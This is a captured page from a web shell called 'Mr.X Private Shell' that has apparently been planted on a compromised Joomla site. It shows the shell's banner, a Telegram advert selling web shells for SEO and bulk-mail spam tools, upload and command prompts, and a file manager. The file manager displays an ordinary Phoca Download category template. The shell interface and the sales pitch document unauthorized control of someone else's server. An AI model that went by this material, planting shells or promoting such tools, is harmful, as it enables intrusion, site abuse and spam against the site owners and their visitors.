__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
defined('_JEXEC') or die('Restricted access');
use Joomla\CMS\Router\Route;
use Joomla\CMS\Language\Text;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Component\ComponentHelper;

echo '<div id="phoca-dl-category-box" class="pd-category-view'.$this->t['p']->get( 'pageclass_sfx' ).'">';

//if ( $this->t['p']->get( 'show_page_heading' ) ) {
//	echo '<h1>'. $this->escape($this->t['p']->get('page_heading')) . '</h1>';
//}
echo PhocaDownloadRenderFront::renderHeader(array());
// Search by tags - the category rights must be checked for every file
$this->checkRights = 1;
// -------------------------------------------------------------------
if ((int)$this->t['tagid'] > 0) {

	echo $this->loadTemplate('files');
	$this->checkRights = 1;
	if (!empty($this->files)) {
		echo $this->loadTemplate('pagination');
	}
} else {
	if (!empty($this->category[0])) {
		echo '<div class="pd-category">';
		if ($this->t['display_up_icon'] == 1) {

			if (isset($this->category[0]->parent_id)) {
				if ($this->category[0]->parent_id == 0) {

					$linkUp = Route::_(PhocaDownloadRoute::getCategoriesRoute());
					$linkUpText = Text::_('COM_PHOCADOWNLOAD_CATEGORIES');
				} else if ($this->category[0]->parent_id > 0) {
					$linkUp = Route::_(PhocaDownloadRoute::getCategoryRoute($this->category[0]->parent_id, $this->category[0]->parentalias));
					$linkUpText = $this->category[0]->parenttitle;
				} else {
					$linkUp 	= '#';
					$linkUpText = '';
				}


				echo '<div class="ph-top">'
				.'<a class="btn btn-primary" title="'.$linkUpText.'" href="'. $linkUp.'" ><span class="icon-fw icon-arrow-left"></span> '
				. $linkUpText
				.'</a></div>';
			}
		}
	} else {
		echo '<div class="pd-category"><div class="pdtop"></div>';
	}

	if (!empty($this->category[0])) {

		// USER RIGHT - Access of categories (if file is included in some not accessed category) - - - - -
		// ACCESS is handled in SQL query, ACCESS USER ID is handled here (specific users)
		$rightDisplay	= 0;
		if (!empty($this->category[0])) {
			$rightDisplay = PhocaDownloadAccess::getUserRight('accessuserid', $this->category[0]->cataccessuserid, $this->category[0]->cataccess, $this->t['user']->getAuthorisedViewLevels(), $this->t['user']->get('id', 0), 0);
		}


		// - - - - - - - - - - - - - - - - - - - - - -
		if ($rightDisplay == 1) {
			$this->checkRights = 0;
			$l = new PhocaDownloadLayout();

			//echo '<h3>'.$this->category[0]->title. '</h3>';
			echo PhocaDownloadRenderFront::renderSubHeader(array($this->category[0]->title), '', 'pd-ctitle');

			// Description
			/*if ($l->isValueEditor($this->category[0]->description)) {
				echo '<div class="pd-cdesc">'.$this->category[0]->description.'</div>';
			}*/

			// Description
			 if ($l->isValueEditor($this->category[0]->description)) {
				echo '<div class="pd-cdesc">';
				echo HTMLHelper::_('content.prepare', $this->category[0]->description);
				echo '</div>';
			 }


			if (!empty($this->subcategories)) {
				foreach ($this->subcategories as $valueSubCat) {

					$rightDisplaySub	= 0;
					if (!empty($valueSubCat)) {
						$rightDisplaySub = PhocaDownloadAccess::getUserRight('accessuserid', $valueSubCat->cataccessuserid, $valueSubCat->cataccess, $this->t['user']->getAuthorisedViewLevels(), $this->t['user']->get('id', 0), 0);
					}
					// - - - - - - - - - - - - - - - - - - - - - -

					if ($rightDisplaySub == 1) {

						echo '<div class="pd-subcategory">';
						echo '<a href="'. Route::_(PhocaDownloadRoute::getCategoryRoute($valueSubCat->id, $valueSubCat->alias))
							 .'">'. $valueSubCat->title.'</a>';
						echo ' <small>('.$valueSubCat->numdoc.')</small></div>' . "\n";
						$subcategory = 1;
					}
				}

				echo '<div class="pd-hr-cb"></div>';
			}

			// =====================================================================================
			// BEGIN LAYOUT AREA
			// =====================================================================================

			echo $this->loadTemplate('files');

			// =====================================================================================
			// END LAYOUT AREA
			// =====================================================================================


			if (!empty($this->category)) {
				echo $this->loadTemplate('pagination');
			}

		/*	if ($this->t['display_category_comments'] == 1) {
				if (ComponentHelper::isEnabled('com_jcomments', true)) {
					include_once(JPATH_BASE.'/components/com_jcomments/jcomments.php');
					echo JComments::showComments($this->category[0]->id, 'com_phocadownload', Text::_('COM_PHOCADOWNLOAD_CATEGORY') .' '. $this->category[0]->title);
				}
			}

			if ($this->t['display_category_comments'] == 2) {
				echo '<div class="pd-fbcomments">'.$this->loadTemplate('comments-fb').'</div>';
			}*/

		} else {
			echo '<h3>'.Text::_('COM_PHOCADOWNLOAD_CATEGORY'). '</h3>';
			echo '<div class="alert alert-danger alert-danger">'.Text::_('COM_PHOCADOWNLOAD_NO_RIGHTS_ACCESS_CATEGORY').'</div>';
		}

		echo '</div>';
	} else {
		//echo '<h3>&nbsp;</h3>';
		echo '</div>';
	}
}

echo $this->t['bootstrapmodal'];
echo '</div><div class="pd-cb">&nbsp;</div>';
echo PhocaDownloadUtils::getInfo();
?>

Filemanager

Name Type Size Permission Actions
default.php File 5.34 KB 0664
default.xml File 2.94 KB 0664
default_files.php File 23.21 KB 0664
default_pagination.php File 2.92 KB 0664
index.html File 44 B 0664
Filemanager